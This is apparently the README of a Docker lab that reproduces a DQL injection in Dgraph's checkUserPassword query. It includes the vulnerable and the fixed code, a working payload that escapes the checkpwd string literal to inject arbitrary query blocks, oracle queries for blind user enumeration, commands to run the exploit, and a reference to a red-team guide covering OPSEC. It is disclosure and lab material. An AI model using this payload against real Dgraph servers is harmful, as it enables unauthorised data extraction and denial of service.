checkUserPassword 的 Dgraph DQL 注入(GraphQL)复现 Dgraph 中真实注入漏洞的 Docker 实验环境:
dgraph/dgraph:v25.3.3dgraph/dgraph:v25.3.42026 年真实 CVE · CVSS 3.1 7.5(High) ·
CWE-943(数据查询逻辑中的 不当中和)· 归因于 Kai Aizen(GHSA-q2m9-6jp9-c6mc、GO-2026-5837)。 仅限隔离且已授权的实验环境使用。
checkUserPassword 是 Dgraph 为带有 @secret(field: "password") 指令的类型
自动生成 GraphQL 模式时产生的查询。在
(≤ v25.3.3)中,密码通过 拼接,:
graphql/resolve/query_rewriter.gofmt.SprintfpwdVar := fmt.Sprintf(`checkpwd(%s, "%s")`, predicate, password) // VULNERABLE
攻击者的密码被原样插入到 DQL 中:
pwd as checkpwd(User.password, "<攻击者的密码>")
修复方案(v25.3.4,提交 cee702c)将该值参数化:
pwdVar = "$pwd0" // FIX
// executa con &dgoapi.Request{Query: qry, Vars: map[string]string{"$pwd0": password}, ...}
启动两个集群 Dgraph(zero+alpha):v25.3.3 和 v25.3.4。
上传模式 type User @secret(field: "password") 并创建 admin、alice、bob。
向 checkUserPassword 发送一个逃逸出 DQL 字面量并添加任意查询块的密码:
x")
}
injected(func: has(User.name)) {
User.name
User.email
uid
}
#
在 v25.3.3 中,injected { ... } 块会被解析并在服务端执行。
| 测试 | v25.3.3(存在漏洞) | v25.3.4(已修复) |
|---|---|---|
| 使用正确密码登录 | OK(touched_uids 7) | OK(touched_uids 7) |
| 使用错误密码登录 | null(5) | null(5) |
注入的密码 )} injected{...} # | 被执行:touched_uids 14 | 被中和:5 |
预言机:注入 eq(User.name,"bob") | touched_uids 7(存在) | 5 |
预言机:注入 eq(User.name,"nobody") | 5(不存在) | 5 |
dgraph alpha 日志 | 显示带有 injected 块的 DQL | 参数化的 DQL,无该块 |
CVE 影响:服务端任意 DQL 执行 → 数据盲枚举
(通过 touched_uids/时序)、模式发现(has()、eq())以及通过注入高开销遍历
(expand(_all_)、递归)导致的资源耗尽型 DoS。
# 1) 启动全部服务,准备模式/用户并执行漏洞利用
bash run.sh
# 2) 仅执行漏洞利用(如果实验环境已准备好)
python3 exploit/exploit.py
# 3) 从零搭建环境(pod / 转储)
docker compose up -d
python3 setup/setup.py --alpha http://localhost:8180
python3 setup/setup.py --alpha http://localhost:8280
# 4) 清理
docker compose down # 保留卷
docker compose down -v # 删除卷(dgraph 数据)
| 服务 | HTTP GraphQL | HTTP admin | gRPC alpha |
|---|---|---|---|
| alpha v25.3.3 | http://localhost:8180/graphql | http://localhost:8180/admin | 9180 |
| alpha v25.3.4 | http://localhost:8280/graphql | http://localhost:8280/admin | 9280 |
CVE-2026-44840-poc/
├── docker-compose.yml # 2 clusters: zero+alpha v25.3.3 / v25.3.4
├── schema.graphql # type User @secret(field:"password")
├── run.sh # orquestador completo
├── REDTEAM.md # guía red team: recon + explotación paso a paso + OPSEC
├── setup/setup.py # esquema + usuarios
└── exploit/exploit.py # inyeccion DQL e oraculo
攻击性操作指南(侦察、逐步利用、payload、证据
及 OPSEC):REDTEAM.md。
密码作为 GraphQL 变量传输;到达 rewriter 的值未被转义,并被
插入到 checkpwd(User.password, "...") 中。Payload:
x") # 关闭 checkpwd 的字面量和函数
} # 关闭 checkPwd 块
injected(...) # 攻击者的新 root 块
{ ... }
# # 注释掉模板的其余部分: ")
# 可防止模板后缀(checkpwd 的闭合 ")破坏解析。
dgraph v25.3.4+。dgoapi.Request 的 vars),
绝不用 fmt.Sprintf 插值输入。